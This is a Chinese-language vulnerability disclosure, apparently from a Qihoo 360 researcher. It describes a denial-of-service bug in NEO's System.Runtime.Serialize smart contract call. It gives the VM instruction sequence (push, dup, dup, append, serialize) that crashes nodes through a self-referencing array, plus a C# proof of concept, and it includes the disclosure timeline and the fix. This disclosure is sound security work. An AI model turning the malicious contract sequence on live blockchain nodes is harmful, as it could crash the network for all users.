Zhiniang Peng from Qihoo 360 core security
[email protected]
NEO是一個非盈利的社區化的區塊鏈項目。它是利用區塊鏈技術和數字身份進行資產數字化，利用智能合約對數字資產進行自動化管理，實現“智能經濟”的一種分佈式網絡。目前Neo市值在coinmarket上排名全球第十五，是備受關注的區塊鏈項目之一。我們在neo智能合約平臺中發現一處拒絕服務漏洞，攻擊者可利用該漏洞在瞬間使得整個neo網絡崩潰。
Neo智能合約平臺爲合約提供了序列化虛擬機棧上某個對象的系統調用System.Runtime.Serialize。該調用再處理合約請求時未考慮到數組嵌套等問題，將導致智能合約系統平臺crash。由於Neo目前是有7個主節點負責驗證並打包全網交易。惡意用戶將利用該漏洞的惡意合約發佈到neo網絡中，7個主節點在解析運行該惡意合約時將引發崩潰，進而導致整個neo網絡拒絕服務。漏洞細節如下：
System.Runtime.Serialize系統調用會將用戶可執行棧頂元素pop出來，然後調用SerializeStackItem函數進行序列化。SerializeStackItem函數內容如下：
大意是：當合約調用System.Runtime.Serialize系統調用的時候，會對pop出虛擬機棧上的第一個元素(參數StackItem item)，然後進行SerializeStackItem序列化操作,寫到binarywriter writer中。SerializeStackItem判斷該元素類型，然後進行不同的序列化操作。
其中StackItem有很多類型。如果是數組array類型的話。就會將array的大小和子元素全部再進行一次序列化操作。這裏的array是neo自定義的類型。本質上是一個List。此處沒有考慮攻擊者可能將數組a作爲子元素再加入到數組a中。即 a.Add(a)。如果此時再對a進行反序列化，則會進入無限循環。直到程序棧空間耗盡。觸發棧溢出異常StackOverflowException。
實際上在Neo虛擬機代碼中，我們可以看到虛擬機執行的外層已經對任意異常了捕捉，如下：
但該異常捕捉無法處理StackOverflowException異常。在.net中StackOverflowException 異常會導致整個進程退出，無法catch該異常。進而導致整個neo節點進程直接崩潰。
攻擊虛擬機指令： push(a), dup(), dup(), appen(), System.Runtime.Serialize()
則可導致棧溢出異常，程序直接崩潰。【同理，stuct結構，map結構一樣可以利用該漏洞】。
值得一提的是，在我們郵件給Neo官方通知漏洞後7分鐘內。Neo創始人之一的Erik Zhang就直接回復郵件確認漏洞存在，並在一個小時內提交漏洞修復。效率相當之高。 官方的對該漏洞修復非常乾淨，通過增加一個序列化後元素的列表List來防止我們攻擊中的這種迭代引用。詳細見下圖：
漏洞時間線：
2018/8/15 15:00發現並測試漏洞
2018/8/15 18:57郵件給Neo官方漏洞細節
2018/8/15 19:04 Neo官方回覆確認漏洞存在
2018/8/15 20:00 Neo創始人Erik Zhang提交漏洞修復
PoC:
. using System;
. using System.Collections.Generic;
. using System.IO;
. using System.Linq;
. using System.Text;
. using System.Threading.Tasks;
. using Neo;
. using Neo.IO;
. using Neo.SmartContract;
. using Neo.VM;
. using Neo.VM.Types;
. using VMArray = Neo.VM.Types.Array;
. using VMBoolean = Neo.VM.Types.Boolean;
.
. namespace ConsoleApp2
. {
. class Program
. {
. public static void SerializeStackItem(StackItem item, BinaryWriter writer)
. {
. switch (item)
. {
. case ByteArray _:
. writer.WriteVarBytes(item.GetByteArray());
. break;
. case VMBoolean _:
. writer.Write(item.GetBoolean());
. break;
. case Integer _:
. writer.WriteVarBytes(item.GetByteArray());
. break;
. case InteropInterface _:
. throw new NotSupportedException();
. case VMArray array:
. writer.WriteVarInt(array.Count);
. foreach (StackItem subitem in array)
. SerializeStackItem(subitem, writer);
. break;
. case Map map:
. writer.WriteVarInt(map.Count);
. foreach (var pair in map)
. {
. SerializeStackItem(pair.Key, writer);
. SerializeStackItem(pair.Value, writer);
. }
. break;
. }
. }
. static void Main(string[] args)
. {
. VMArray a,b;
. a = new VMArray();
. b = new VMArray();
. a.Add(1);
. b.Add(2);
. MemoryStream ms = new MemoryStream();
. BinaryWriter writer = new BinaryWriter(ms);
.
. RandomAccessStack Stack = new RandomAccessStack();
. Stack.Push(a);
. Stack.Push(Stack.Peek());
. Stack.Push(Stack.Peek());
. StackItem newItem = Stack.Pop();
. StackItem arrItem = Stack.Pop();
. if (arrItem is VMArray aray)
. {
. aray.Add(newItem);
. }
. try
. {
. SerializeStackItem(Stack.Pop(), writer);
. }
. catch (NotSupportedException)
. {
. Console.WriteLine("NotSupportedException");
. }
. catch (StackOverflowException)
. {
. Console.WriteLine("StackOverflowException");
. }
. writer.Flush();
.
. Console.WriteLine(ms.ToArray().ToHexString());
.
.
. }
. }程序運行結果：
